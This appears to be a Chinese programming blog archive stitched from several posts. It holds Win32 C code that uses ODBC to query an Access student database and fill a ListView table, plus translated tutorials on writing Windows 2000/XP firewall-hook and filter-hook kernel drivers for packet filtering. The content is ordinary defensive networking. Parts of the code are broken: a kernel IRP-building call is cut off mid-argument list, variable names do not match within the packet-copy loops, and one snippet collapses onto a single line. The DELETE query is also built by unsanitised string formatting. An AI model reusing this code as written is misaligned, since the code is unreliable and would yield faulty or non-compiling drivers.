这也是我帮同学写的那个程序中的一部分,用ODBC操作Access数据库的部分。 由于不会并且也不愿用MFC,所以就查了查资料,用API搞定了。
const char szConnect[] = "DRIVER={Microsoft Access Driver (*.mdb)};DBQ=";
const char szDBName[] = "StudData.mdb";
void ODBCConnect(HWND);
void ODBCDisconnect(HWND);
void ODBCQuery(char *);
void ODBCQueryEnd(void);
void FetchResult(void);
void ODBCConnect(HWND hDlg)
{
try {
SQLRETURN sr;
sr = SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &hEnv);
if (sr != SQL_SUCCESS && sr != SQL_SUCCESS_WITH_INFO) throw sr;
sr = SQLSetEnvAttr(hEnv, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC3, 0);
if (sr != SQL_SUCCESS && sr != SQL_SUCCESS_WITH_INFO) {
SQLFreeHandle(SQL_HANDLE_ENV, hEnv);
throw sr;
}
sr = SQLAllocHandle(SQL_HANDLE_DBC, hEnv, &hConn);
if (sr != SQL_SUCCESS && sr != SQL_SUCCESS_WITH_INFO) {
SQLFreeHandle(SQL_HANDLE_ENV, hEnv);
throw sr;
}
strcpy(szConnectString, szConnect);
strcat(szConnectString, szDBName);
sr = SQLDriverConnect(hConn, hDlg, (unsigned char *)szConnectString, sizeof(szConnectString), (unsigned char *)ConnBuf, sizeof(ConnBuf), (short *)&StrLen, SQL_DRIVER_COMPLETE);
if (sr != SQL_SUCCESS && sr != SQL_SUCCESS_WITH_INFO) {
SQLFreeHandle(SQL_HANDLE_DBC, hConn);
SQLFreeHandle(SQL_HANDLE_ENV, hEnv);
throw sr;
}
}
catch (SQLRETURN) {
MessageBox(hDlg, "Database connection failed!", "Sorry", MB_OK | MB_ICONWARNING);
ExitProcess(0);
}
}
void ODBCDisconnect(HWND hDlg)
{
SQLDisconnect(hConn);
SQLFreeHandle(SQL_HANDLE_DBC, hConn);
SQLFreeHandle(SQL_HANDLE_ENV, hEnv);
}
void ODBCQuery(char *query)
{
try {
SQLRETURN sr;
sr = SQLAllocHandle(SQL_HANDLE_STMT, hConn, &hStmt);
if (sr != SQL_SUCCESS && sr != SQL_SUCCESS_WITH_INFO) throw sr;
sr = SQLExecDirect(hStmt, (unsigned char *)query, strlen(query));
if (sr != SQL_SUCCESS && sr != SQL_SUCCESS_WITH_INFO) {
SQLFreeHandle(SQL_HANDLE_STMT, hStmt);
throw sr;
}
}
catch (SQLRETURN) {
char errorbuf[128];
SQLError(hEnv, hConn, hStmt, NULL, NULL, (unsigned char *)errorbuf, sizeof(errorbuf), (short *)&StrLen);
MessageBox(NULL, "Database query failed!", "Sorry", MB_OK | MB_ICONWARNING);
MessageBox(NULL, errorbuf, "Sorry", MB_OK | MB_ICONWARNING);
}
}
void ODBCQueryEnd(void)
{
SQLFreeHandle(SQL_HANDLE_STMT, hStmt);
}
void FetchResult(void)
{
SQLRETURN sr;
LV_ITEM lvi;
int i, row;
for (i = 0; i < 10; ++i) SQLBindCol(hStmt, i + 1, SQL_C_CHAR, buf[i], sizeof(buf[i]), (long *)&StrLen);
for (row = 0; ; ++row) {
sr = SQLFetch(hStmt);
if (sr != SQL_SUCCESS && sr != SQL_SUCCESS_WITH_INFO) break;
lvi.mask = LVIF_TEXT | LVIF_PARAM;
lvi.iItem = row;
lvi.iSubItem = 0;
lvi.pszText = buf[0];
SendMessage(hList, LVM_INSERTITEM, 0, (long)&lvi);
lvi.mask = LVIF_TEXT;
for (i = 1; i < 10; ++i) {
lvi.iSubItem = i;
lvi.pszText = buf[i];
SendMessage(hList, LVM_SETITEM, 0, (long)&lvi);
}
}
}
好久没写学习笔记了,不是一直没有学习,而是一直懒得做笔记。 前段时间帮同学写了个小程序,写的过程中还是学到了一些东西的。
使用列表控制的步骤如下:
所用到的两种数据结构:
列:
LV_COLUMN STRUCT
imask dd ?
fmt dd ?
lx dd ?
pszText dd ?
cchTextMax dd ?
iSubItem dd ?
iImage dd ?
iOrder dd ?
LV_COLUMN ENDS
| Field name | Meanings |
|---|---|
| imask | 一组标志位,它指示了该结构体中的那些成员变量是有效的。该结构体中的成员变量并不是同时有效的。在某些时候,可能只有某 些成员变量是有效的。结构体可以用来输入和输出。这样让WINDOWS知道那些成员变量是有效的是非常重要的。可能的标志有:
LVCF_FMT = fmt有效 您可以一次使用几个标志。譬如,如果您向指定列的文本标签(列名),您必须在pszText成员变量中提供列名,然后指定 标志LVCF_TEXT告诉WINDOWS成员变量pszText中的值是有效的,否则WINDOWS将忽略掉pszText中的值。 |
| fmt | 指定了项目/子项目的对齐方式。可能的值有:
LVCFMT_CENTER = 文本居中 |
| lx | lx 是列的宽度(以像素点为单位)。以后您可以发送消息LVM_SETCOLUMNWIDTH来改变列的宽度。 |
| pszText | 如果用来设定列的属性时,该成员变量为指向列名的指针。如果是查询列名,该成员变量指向一个足够大的缓冲区,用来接收返 回的列名,这是您必须在成员cchTextMax中指定缓冲区的大小。如果是设定列名时,可以忽略该变量,因为该指针指向的是一个ASCII码的字符串, 而WINDOWS可以解析出ASCII串的长度。 |
| cchTextMax | cchTextMax 以字节计的上面一个成员变量指向的缓冲区的小。该成员变量只在您查询列的属性时使用。如果是设定列的属性,那该变量将被忽略。 |
| iSubItem | 指定和该列相连的子项目的索引号。该成员变量的值用来标识和列相连系的子项目。该列的使用最好地说明了如何把列号和子项 目相连。要查询列的属性时可以发送LVM_GETCOLUMN消息,并在成员变量imask中指定LVCF_SUBITEM标志,列表控件将在 iSubItem中返回插入时设定的iSubItem值。为了使用该办法,您需要在该成员变量中放入正确的值。 |
| iImage and iOrder | 为了和IE3.0以上版本兼容。目前我没有这方面的资料。 |
项目和子项目:
LV_ITEM STRUCT
imask dd ?
iItem dd ?
iSubItem dd ?
state dd ?
stateMask dd ?
pszText dd ?
cchTextMax dd ?
iImage dd ?
lParam dd ?
iIndent dd ?
LV_ITEM ENDS
| Field name | Meanings |
|---|---|
| imask | 一组标志位标明该结构体中那些成员变量中的值有效。它的意义和上面我们提到的LV_COLUMN型结构体中向对应的成员 变量基本相同。更详细的信息,可以查询WIN32 API 手册。 |
| iItem | 该结构体代表的项目的索引号。索引号是从0开始编号的。该值和表单的“行”类似。 |
| iSubItem | 和上一个成员变量指定的项目相连的子项目的索引号。您可以把它当作表单的“列”。譬如您想要把一个项目插入到新创建的列 表视图控件,iItem的值应为0(因为该项目是第一个项目),iSubItem的值也应当为0(我们想把该项目插到第一列)。如果你想指定一个子项目和 该项目相连,iItem中应该是您想要相连的项目的索引号,iSubItem的值应当是大于0的值,具体的值取决于您想把该子项目插在那一列。如果你的列 表视图控件一共有4列的化,第一列包含了项目,其余3列是留给子项目的。如果您想把子项目插在第四列,应当指定该值为3。 |
| state | 该成员变量包含的标志位反应了项目的状态。状态的改变可能是由用户的操作引起的或是程序改变的。这些状态包括:是否有焦点 /高亮度显示/被选中(由于被剪切)/被选中等。另外还包括,以1为基数的索引用来代表是否处使用重叠/状态图标。 |
| stateMask | 由于上面的成员变量包含状态标志位、重叠的位图索引号、和状态位图的索引号,我们需要告诉WINDOWS我们到底需要设 定或查询那一个值。该成员变量就是用来做这项工作的。 |
| pszText | 当我们想设定项目的属性时,它包含项目名称的ASCII码的字符串的地址。当查询项目的属性时,该成员变量将用来接收查 询返回的项目的名称。 |
| cchTextMax | 仅当您用来查询项目的属性时才需要使用该值,这时它包含上一个成员变量的大小。 |
| iImage | 图标在列表视图中的图象链表中的索引号。 |
| lParam | 用户定义的值,当您给项目排序时使用。当您告诉列表视图对项目排序时,列表视图将成对地比较项目。 它将会把两个项目的lParam的值传给您,这样您就可以进行比较先列出那一个了。如果您现在还不太明白的话,没有系,我们稍后还要讲关于排序的问题。 |
控件通过SendMessage来发送消息来控制,常用的消息有:
LVM_INSERTCOLUMN 加入列,wParam 为整型,指定列号,lParam 为指向LV_COLUMN结构的指针
LVM_SETCOLUMN 设置列,参数同上
LVM_INSERTITEM 加入项目或子项目,wParam 为0,lParam 为指向LV_ITEM结构的指针
LVM_SETITEM 设置项目或子项目,参数同上
LVM_GETITEM 取得项目或子项目,参数同上
LVM_GETNEXTITEM 取得下一个项目或子项目,可以用来取得光标选择的项目
LVM_DELETEITEM 删除项目或子项目,wParam 为整型,指定项目索引号,lParam 为0
LVM_DELETEALLITEMS 删除所有项目,wParam 和 lParam 均为0
LVM_SETTEXTCOLOR 设置文字颜色,wParam 为0,lParam 为颜色的RGB值
LVM_SETTEXTBKCOLOR 设置文字背景色,参数同上
LVM_SETBKCOLOR 设置背景色,参数同上
下面是用SysListView32控件实现的简单的学生管理系统程序的一部分:
void InsertColumn(void)
{
LV_COLUMN lvc;
lvc.mask = LVCF_TEXT | LVCF_WIDTH;
lvc.pszText = "学号";
lvc.cx = 60;
SendMessage(hList, LVM_INSERTCOLUMN, 0, (long)&lvc);
lvc.pszText = "姓名";
lvc.cx = 80;
SendMessage(hList, LVM_INSERTCOLUMN, 1, (long)&lvc);
lvc.pszText = "性别";
lvc.cx = 40;
SendMessage(hList, LVM_INSERTCOLUMN, 2, (long)&lvc);
lvc.pszText = "年龄";
lvc.cx = 40;
SendMessage(hList, LVM_INSERTCOLUMN, 3, (long)&lvc);
lvc.pszText = "出生日期";
lvc.cx = 100;
SendMessage(hList, LVM_INSERTCOLUMN, 4, (long)&lvc);
lvc.pszText = "籍贯";
lvc.cx = 150;
SendMessage(hList, LVM_INSERTCOLUMN, 5, (long)&lvc);
lvc.pszText = "入学时间";
lvc.cx = 100;
SendMessage(hList, LVM_INSERTCOLUMN, 6, (long)&lvc);
lvc.pszText = "数学";
lvc.cx = 40;
SendMessage(hList, LVM_INSERTCOLUMN, 7, (long)&lvc);
lvc.pszText = "英语";
lvc.cx = 40;
SendMessage(hList, LVM_INSERTCOLUMN, 8, (long)&lvc);
lvc.pszText = "政治";
lvc.cx = 40;
SendMessage(hList, LVM_INSERTCOLUMN, 9, (long)&lvc);
}
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
static HINSTANCE hInst;
HMENU hMenu;
LV_ITEM lvi;
int i;
switch (message) {
case WM_CREATE:
hInst = ((LPCREATESTRUCT)lParam) -> hInstance;
hMenu = GetMenu(hwnd);
InitCommonControls();
hList = CreateWindowEx(NULL, TEXT("SysListView32"), NULL, LVS_REPORT | WS_CHILD | WS_VISIBLE, 0, 0, 0, 0, hwnd, NULL, hInst, NULL);
InsertColumn();
SendMessage(hList, LVM_SETTEXTCOLOR, 0, RGB(255, 255, 255));
SendMessage(hList, LVM_SETBKCOLOR, 0, RGB(100, 100, 100));
SendMessage(hList, LVM_SETTEXTBKCOLOR, 0, RGB(0, 0, 0));
Refresh();
break;
case WM_COMMAND:
switch (LOWORD(wParam)) {
case IDREFRESH:
Refresh();
break;
case IDINSERT:
if (DialogBox(hInst, TEXT("StudInfo"), hwnd, InsertDlgProc)) InvalidateRect(hwnd, NULL, TRUE);
break;
case IDEDIT:
lvi.iItem = SendMessage(hList, LVM_GETNEXTITEM, -1, LVNI_SELECTED);
if (-1 == lvi.iItem) {
MessageBox(hwnd, "请选择一条记录!", "Edit Info", MB_OK | MB_ICONWARNING);
break;
}
lvi.mask = LVIF_TEXT;
lvi.cchTextMax = 20;
for (i = 0; i < 10; ++i) {
lvi.iSubItem = i;
lvi.pszText = buf[i];
SendMessage(hList, LVM_GETITEM, 0, (long)&lvi);
}
if (DialogBox(hInst, TEXT("StudInfo"), hwnd, EditDlgProc)) InvalidateRect(hwnd, NULL, TRUE);
break;
case IDDELETE:
lvi.iItem = SendMessage(hList, LVM_GETNEXTITEM, -1, LVNI_SELECTED);
if (-1 == lvi.iItem) {
MessageBox(hwnd, "请选择一条记录!", "Delete Info", MB_OK | MB_ICONWARNING);
break;
}
SendMessage(hList, LVM_DELETEITEM, lvi.iItem, 0);
lvi.mask = LVIF_TEXT;
lvi.iSubItem = 0;
lvi.pszText = buf[0];
lvi.cchTextMax = 20;
SendMessage(hList, LVM_GETITEM, 0, (long)&lvi);
sprintf(query, "DELETE FROM student WHERE id = %s", buf[0]);
ODBCConnect(hwnd);
ODBCQuery(query);
ODBCQueryEnd();
ODBCDisconnect(hwnd);
break;
case IDEXIT:
SendMessage(hwnd, WM_CLOSE, 0, 0);
break;
case IDABOUT:
MessageBox(hwnd, "Students Info Administration System\nDeveloped by anonymous", "About", MB_OK | MB_ICONINFORMATION);
}
break;
case WM_SIZE:
MoveWindow(hList, 0, 0, LOWORD(lParam), HIWORD(lParam), TRUE);
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hwnd, message, wParam, lParam);
}
return 0;
}
也许,防火墙钩子驱动是在 Windows 系统下开发数据包过滤程序的方法中最没有文档可查的一个了。微软没有给出关于它的任何文档,你唯一能够找到点儿什么的地方是 DDK 头文件(ipFirewall.h)。事实上,当我安装了 Windows 2000 DDK,我对于发现这个 .h 文件(和它的内容)非常惊奇,因为没有文档提到防火墙钩子的存在。在下一个版本的 DDK 中,微软加了一些关于它的文档:“这个方法存在但不建议使用”。
然而,因为它是个实现防火墙的简单方法,我认为了解防火墙钩子驱动如何工作将是很有趣的。
我不明白为什么微软不建议使用防火墙钩子驱动的开发。对于开发一个完整的防火墙方案我的确不建议用它,但对于小程序,它可是个好的选择。基本上,防 火墙钩子驱动能够做过滤钩子驱动(见我的文章《在 Windows 2000/XP下开发防火墙》)所做的相同工作,但限制更少。
可能你还记得,过滤钩子函数仅允许在系统中安装一个过滤函数。如果有程序已经使用了这个功能,你的程序就没用了。使用防火墙钩子驱动,你不会遇到这 个问题。你可以安装你需要的所有过滤函数。每个过滤函数被赋予一个优先级,于是系统会一个接一个的(以优先级顺序)调用过滤函数知道一个函数返回 “DROP PACKET(丢弃包)”。如果所有的函数都返回“ALLOW PACKET(允许包)”,这个包就被允许通过了。你可以把它想象称一个过滤函数链。当其中一个返回了“DROP PACKET”链就被切断了。链中每个函数的顺序是由它的优先级值数给出的。
在上图中,我表示了以下过程:
你会发现的过滤钩子驱动的另一个问题是对于包的发送,你不能访问包中的数据内容。但是,用防火墙钩子驱动你可以访问所有的数据。防火墙钩子过滤函数 接收到的数据结构比过滤钩子驱动的更复杂。它更接近于 NDIS 驱动中包的结构,整个的包是由一个缓冲链组成的。但是请耐心点,你将在后面看到更多。
像过滤钩子驱动一样,防火墙钩子驱动只是个用来安装回调函数的内核模式驱动(但防火墙钩子驱动 在 IP 驱动中安装回调函数)。实际上,安装防火墙钩子驱动的过程与安装过滤钩子驱动类似。在 ipFirewall.h 文件中,你会看到下面的内容:
typedef struct _IP_SET_FIREWALL_HOOK_INFO
{
// Packet filter callout.
IPPacketFirewallPtr FirewallPtr;
// Priority of the hook
UINT Priority;
// if TRUE then ADD else DELETE
BOOLEAN Add;
} IP_SET_FIREWALL_HOOK_INFO, *PIP_SET_FIREWALL_HOOK_INFO;
#define DD_IP_DEVICE_NAME L\\Device\\Ip
#define _IP_CTL_CODE(function, method, access) \
CTL_CODE(FSCTL_IP_BASE, function, method, access)
#define IOCTL_IP_SET_FIREWALL_HOOK \
_IP_CTL_CODE(12, METHOD_BUFFERED, FILE_WRITE_ACCESS)
这几行代码告诉你了安装回调函数的大致方法。你只需用你的回调函数的数据填写 IP_SET_FIREWALL_HOOK_INFO 结构并安装它发送 IOCTL IOCTL_IP_SET_FIREWALL_HOOK 到 IP 设备。简单,如果你与驱动程序打过交道或是曾做过那个有文档的过滤钩子函数。这个结构的一个重要参数是优先级域。每个优先级域包含了该过滤函数的优先级, 其值越来越大。
PDEVICE_OBJECT ipDeviceObject=NULL; IP_SET_FIREWALL_HOOK_INFO filterData; //..... // Init structure filterData. FirewallPtr = filterFunction; filterData.Priority = 1; filterData.Add = TRUE; //.... // Send the commando to ip driver IoCallDriver(ipDeviceObject, irp);
如果你要卸载过滤函数,可以用同样的代码,只要把 filterData.Add 的值改成 FALSE 就行了。
防火墙钩子驱动的过滤函数比过滤钩子驱动的更复杂。因为没有关于该函数及其参数的文档,所以复 杂度增加了。该函数具有以下特征:
FORWARD_ACTION cbFilterFunction(VOID **pData,
UINT RecvInterfaceIndex,
UINT *pSendInterfaceIndex,
UCHAR *pDestinationType,
VOID *pContext,
UINT ContextLength,
struct IPRcvBuf **pRcvBuf);
用耐心和调试方法(还有参数名字的解释:)),我得出了以下关于参数的信息:
pData |
*pData 指向一个带有包缓冲的 (struct IPRcvBuf *) 结构。 |
RecvInterfaceIndex |
数据接收的接口。 |
pSendInterfaceIndex |
指向无符号整型的指针,包含数据发送的索引值。虽然它是个指针,改变它的值并不能让包改变路径:(。 |
pDestinationType |
指向无符号整型的指针,指出目标类型:本地网络,远程,广播,多播,等。 |
pContext |
指向 FIREWALL_CONTEXT_T 结构的指针,使你可以像流入和流出的包一样取得包的信息。 |
ContextLength |
指向的缓冲区的大小。其值总是 sizeof(FIREWALL_CONTEXT_T)。 |
pRcvBuf |
*pRcvBuf 总是指向 NULL。 |
这些信息可能会在将来的 Windows 版本中改变,因为没有官方的文档可用。我只能保证这是我在 Windows 2000 和 Windows XP 下测试得到的这些域的意义。
对于每个包,我们的函数会被调用,并且取决于它的返回值,包会被丢弃或是放行。在过滤函数中你可以返回的值有:
FORWARD |
包被允许。 |
DROP |
包被丢弃。 |
ICMP_ON_DROP |
包被丢弃并有一个 ICMP 包被发送到远程主机。 |
在防火墙钩子过滤函数中,你并不是像在过滤钩子驱动中那样直接接收带有包头部和内容的缓冲区。 在一些测试后,我弄清了缓冲的内部结构。如我前面所说,发送/接收 包是被传递给 pData 参数的。*pData 指向一个 IPRcvBuf 结构:
struct IPRcvBuf
{
// Point to the next buffer in the chain
struct IPRcvBuf *ipr_next;
// Always 0
UINT ipr_owner;
// Buffer data
UCHAR *ipr_buffer;
// Buffer data size
UINT ipr_size;
// In my tests always a pointer to NULL.
// Maybe the system could use MDLs instead of IPRcvBuf structures (but
// i never have seen it).
PMDL ipr_pMdl;
// Always a pointer to NULL.
UINT *ipr_pClientCnt;
// Always a pointer to NULL.
UCHAR *ipr_RcvContext;
// Always 0. I suppose this field is a offset into buffer data
// but because I haven't a value different from 0, I can affirm it.
UINT ipr_RcvOffset;
// In Windows 2003 DDK the name of this field have changed to flags.
// In my tests I always get 0 value for local traffic and 2 for remote.
// It's the only thing I can tell you about this field.
ULONG ipr_promiscuous;
};
按照我们的意图,只需要知道域 ipr_next, ipr_buffer 和 ipr_size。ipr_buffer 域包含包的 ipr_size 字节。然而,整个包不必在一个缓冲里,系统能够链接多个缓冲。正因如此,ipr_next 域被使用了。这个域指向了下一个带有包数据的结构。当数据结构中的 ipr_next 指向 NULL 时我们就得到了整个的数据包。所以,我们在防火墙钩子驱动中发现了链接缓冲结构正如在 NDIS 驱动中所见。在我的测试中,对于所有接收的包,函数只接收到了一个结构,在其缓冲中带有全部的数据。对发送的包,我发现若干个链接的缓冲,每个包含一种协 议的信息。我的意思是,例如我发送一个 ICMP 包,就会有三个链接的缓冲:一个带有 IP 头部,一个带有 ICMP 头部,而另一个带有数据。然而,就像我们对 NDIS 驱动做的一样,我们不能依赖于系统如何填写这些缓冲。
在下面的图中,你可以看到在防火墙钩子驱动中如何构建数据包的例子:
简单的,你可以由下面的代码看到如何从链接缓冲中得到一个带有数据包内容的正统缓冲:
char *pPacket = NULL;
int iBufferSize;
struct IPRcvBuf *pBuffer = (struct IPRcvBuf *) *pData;
// First, I calculate the total size of the packet
iBufferSize = buffer->ipr_size;
while(pBuffer->ipr_next != NULL)
{
pBuffer = pBuffer->ipr_next;
iBufferSize += pBuffer->ipr_size;
}
// Reserve memory to the lineal buffer.
pPacket = (char *) ExAllocatePool(NonPagedPool, iBufferSize);
if(pPacket != NULL)
{
unsigned int iOffset = 0;
pBuffer = (struct IPRcvBuf *) *pData;
// we are going to copy each buffer of the chain in the lineal buffer.
memcpy(pPacket, pBuffer->ipr_buffer, pBuffer->ipr_size);
while(pBuffer->ipr_next != NULL)
{
iOffset += pBuffer->ipr_size;
pBuffer = pBbuffer->ipr_next;
memcpy(pPacket + iOffset, pBuffer->ipr_buffer,
pBbuffer->ipr_size);
}
}
还有,对于所有好奇的人(在你问到我之前:P),你可以修改包的数据,风险自己承担。没有任何工具来做这类的软件,要做类似的东西,我建议你实现一 个 NDIS IM 驱动或者 TDI 过滤驱动。我没有做太多测试但我不很信赖防火墙钩子驱动改变数据包内容的稳定性。为什么?因为我们不知道 IP 驱动怎样管理这些缓冲和修改它们要冒多大的风险。一句话,我建议:只许看,不许摸。
好了,现在我们知道了过滤函数的语法和传给它的包的格式。现在,我们要知道的就剩如何把这两样 东西结合成一个数据包过滤程序了。我用的方法是试着定义一个类似于过滤钩子驱动中用到的过滤函数,因为这样更容易理解。由于传给过滤函数的参数在这两个驱 动中是不一样的,对于防火墙钩子,我实现了一个中间函数(实际的防火墙钩子过滤函数)来包裹过滤函数。我的意思是,在防火墙钩子过滤函数中,我用了一个函 数来处理包,将它拷贝到一个正统的缓冲中,然后把它传递给过滤函数。有下面的代码,我想你能更好的理解它:
FORWARD_ACTION cbFilterFunction(VOID **pData,
UINT RecvInterfaceIndex,
UINT *pSendInterfaceIndex,
UCHAR *pDestinationType,
VOID *pContext,
UINT ContextLength,
struct IPRcvBuf **pRcvBuf)
{
FORWARD_ACTION result = FORWARD;
char *pPacket = NULL;
int iBufferSize;
struct IPRcvBuf *pBbuffer =(struct IPRcvBuf *) *pData;
PFIREWALL_CONTEXT_T fwContext = (PFIREWALL_CONTEXT_T)pContext;
IPHeader *pIpHeader;
// Convert chained buffer to lineal buffer as we see before.
// This won't be the fastest code but
// will help us to understand better the method.
// ...........
pIpHeader = (IPHeader *)pPacket;
// Call the real filter function and return result
result = FilterPacket(pPacket,
// length in bytes = ipp->headerLength * (32 bits/8)
pPacket + (pIpHeader ->headerLength * 4),
iBufferSize - (pIpHeader ->headerLength * 4),
(fwContext != NULL) ? fwContext->Direction: 0,
RecvInterfaceIndex,
(pSendInterfaceIndex != NULL) ? *pSendInterfaceIndex : 0);
return result;
}
你能很快认出这篇文章的程序。是的,图形界面和我在过滤钩子驱动中用的完全一样。为什么?因为我写了个简单的数据包过滤程序用来测试我写的所有防火 墙方法。这样,我有了一个通用的图形界面给它们,来提供相同的功能,但在底层,它们工作的不一样。我有这个程序的不同版本(只做最小的改动)来测试我的过 滤钩子驱动,防火墙钩子驱动,LSP DLL,TDI 过滤驱动,NDIS 驱动……所以,我想这个方法是好理解的。几乎不更改图形界面,这样你只想了解使用的新方法。
像我其它的文章一样,这个程序只实现了包的过滤。很多人问我关于加入一些更多的功能,像包记录,安装为服务……但我想要按照提供方法而不是答案的思 想。如果你想要加入一些这样的功能,我很高兴:)。你可以联系我,问所有你想要的问题。
好了,一旦我写完了这篇文章,它就是你的了。我希望你能从中学到与我一样多的东西。Enjoy it!!
如果你决定在 Linux 下开发一个防火墙,你可以找到很多资料和源代码,全部免费。但对 Windows 平台下的防火墙感兴趣的人们就有些困难了,不仅是找资料难,找免费的源代码更是个不可能的任务!
所以,我决定写这片文章来简述一下在 Windows 2000/XP 下开发防火墙的简单方法,借以帮助那些对此感兴趣的人们。
在 Windows 2000 DDK 中,微软包含了一种新的网络驱动叫做过滤钩子驱动( Filter-Hook Driver )。使用它,你可以建立一个函数来过滤所有到达或离开接口的数据包。
因为关于这个主题的文档很少,并且没有例子,所以我写了这篇文章来介绍成功使用它所需的步骤。我希望这篇文章能帮你理解这个简单的方法。
过滤钩子驱动
正如我前面所说,过滤钩子驱动是微软在 Windows 2000 DDK 中引入的。实际上,它不是一个新的网络驱动类,它只是扩展 IP 过滤驱动(包含在 Windows 2000 及以后的版本中)功能的一种方法。
事实上,过滤钩子驱动不是网络驱动,而是内核模式驱动。基本的,我们在过滤钩子驱动中实现一个回调函数,然后把这个回调函数与 IP 过滤驱动注册到一起。这样做了之后,IP 过滤驱动会在一个数据包被发送或接受时调用我们的回调函数。那么……这么做主要的步骤有哪些呢?
我总结了以下五个步骤:
哦,只有五步,而且看起来很简单,但是……要怎样建立内核模式驱动呢?怎么取得指向 IP 过滤驱动的指针?怎么……是的,请稍等,我现在就来解释这些步骤:P,展示源码例子。
建立内核模式驱动
过滤钩子驱动是内核模式驱动,所以如果我们想做,就得做个内核模式驱动。这篇文章并不是“5分钟学会怎样开发内核模式驱动”,所以我假设读者们已经 有了这方面的知识。
过滤钩子驱动的结构是典型的内核模式驱动结构:
我建议你使用程序生成内核模式驱动的结构,然后你只要把添加代码到生成的函数里就行了。例如,我在这个项目中使用的 QuickSYS。
你可以看我自己实现的驱动结构,代码如下:
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
//....
dprintf("DrvFltIp.SYS: entering DriverEntry\n");
//we have to create the device
RtlInitUnicodeString(&deviceNameUnicodeString, NT_DEVICE_NAME);
ntStatus = IoCreateDevice(DriverObject,
0,
&deviceNameUnicodeString,
FILE_DEVICE_DRVFLTIP,
0,
FALSE,
&deviceObject);
if ( NT_SUCCESS(ntStatus) )
{
// Create a symbolic link that Win32 apps can specify to gain access
// to this driver/device
RtlInitUnicodeString(&deviceLinkUnicodeString, DOS_DEVICE_NAME);
ntStatus = IoCreateSymbolicLink(&deviceLinkUnicodeString,
&deviceNameUnicodeString);
//....
// Create dispatch points for device control, create, close.
DriverObject->MajorFunction[IRP_MJ_CREATE] =
DriverObject->MajorFunction[IRP_MJ_CLOSE] =
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DrvDispatch;
DriverObject->DriverUnload = DrvUnload;
}
if ( !NT_SUCCESS(ntStatus) )
{
dprintf("Error in initialization. Unloading...");
DrvUnload(DriverObject);
}
return ntStatus;
}
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
// ....
switch (irpStack->MajorFunction)
{
case IRP_MJ_CREATE:
dprintf("DrvFltIp.SYS: IRP_MJ_CREATE\n");
break;
case IRP_MJ_CLOSE:
dprintf("DrvFltIp.SYS: IRP_MJ_CLOSE\n");
break;
case IRP_MJ_DEVICE_CONTROL:
dprintf("DrvFltIp.SYS: IRP_MJ_DEVICE_CONTROL\n");
ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
switch (ioControlCode)
{
// ioctl code to start filtering
case START_IP_HOOK:
{
SetFilterFunction(cbFilterFunction);
break;
}
// ioctl to stop filtering
case STOP_IP_HOOK:
{
SetFilterFunction(NULL);
break;
}
// ioctl to add a filter rule
case ADD_FILTER:
{
if(inputBufferLength == sizeof(IPFilter))
{
IPFilter *nf;
nf = (IPFilter *)ioBuffer;
AddFilterToList(nf);
}
break;
}
// ioctl to free filter rule list
case CLEAR_FILTER:
{
ClearFilterList();
break;
}
default:
Irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
dprintf("DrvFltIp.SYS: unknown IRP_MJ_DEVICE_CONTROL\n");
break;
}
break;
}
ntStatus = Irp->IoStatus.Status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
// We never have pending operation so always return the status code.
return ntStatus;
}
VOID DrvUnload(IN PDRIVER_OBJECT DriverObject)
{
UNICODE_STRING deviceLinkUnicodeString;
dprintf("DrvFltIp.SYS: Unloading\n");
SetFilterFunction(NULL);
// Free any resources
ClearFilterList();
// Delete the symbolic link
RtlInitUnicodeString(&deviceLinkUnicodeString, DOS_DEVICE_NAME);
IoDeleteSymbolicLink(&deviceLinkUnicodeString);
// Delete the device object
IoDeleteDevice(DriverObject->DeviceObject);
}
我们已经做好了驱动的主要代码,接下来是过滤钩子驱动的代码。
在上面的代码中,你已经看到了一个叫做 SetFilterFunction(..) 的函数。实现这个函数是用来注册函数到 IP 过滤驱动的。有下面的几步:
这里,对于这个驱动有一个更大的问题。只有一个过滤函数可以被安装,所以如果其它的应用程序安装了一个,那你就不能安装你的函数了。
下面是这个函数的代码:
NTSTATUS SetFilterFunction
(PacketFilterExtensionPtr filterFunction)
{
NTSTATUS status = STATUS_SUCCESS, waitStatus=STATUS_SUCCESS;
UNICODE_STRING filterName;
PDEVICE_OBJECT ipDeviceObject=NULL;
PFILE_OBJECT ipFileObject=NULL;
PF_SET_EXTENSION_HOOK_INFO filterData;
KEVENT event;
IO_STATUS_BLOCK ioStatus;
PIRP irp;
dprintf("Getting pointer to IpFilterDriver\n");
//first of all, we have to get a pointer to IpFilterDriver Device
RtlInitUnicodeString(&filterName, DD_IPFLTRDRVR_DEVICE_NAME);
status = IoGetDeviceObjectPointer(&filterName,STANDARD_RIGHTS_ALL,
&ipFileObject, &ipDeviceObject);
if(NT_SUCCESS(status))
{
//initialize the struct with functions parameters
filterData.ExtensionPointer = filterFunction;
//we need initialize the event used later by
//the IpFilterDriver to signal us
//when it finished its work
KeInitializeEvent(&event, NotificationEvent, FALSE);
//we build the irp needed to establish fitler function
irp = IoBuildDeviceIoControlRequest(IOCTL_PF_SET_EXTENSION_POINTER,
ipDeviceObject,
if(irp != NULL)
{
// we send the IRP
status = IoCallDriver(ipDeviceObject, irp);
//and finally, we wait for
//"acknowledge" of IpFilter Driver
if (status == STATUS_PENDING)
{
waitStatus = KeWaitForSingleObject(&event,
Executive, KernelMode, FALSE, NULL);
if (waitStatus != STATUS_SUCCESS )
dprintf("Error waiting for IpFilterDriver response.");
}
status = ioStatus.Status;
if(!NT_SUCCESS(status))
dprintf("Error, IO error with ipFilterDriver\n");
}
else
{
//if we cant allocate the space,
//we return the corresponding code error
status = STATUS_INSUFFICIENT_RESOURCES;
dprintf("Error building IpFilterDriver IRP\n");
}
if(ipFileObject != NULL)
ObDereferenceObject(ipFileObject);
ipFileObject = NULL;
ipDeviceObject = NULL;
}
else
dprintf("Error while getting the pointer\n");
return status;
}
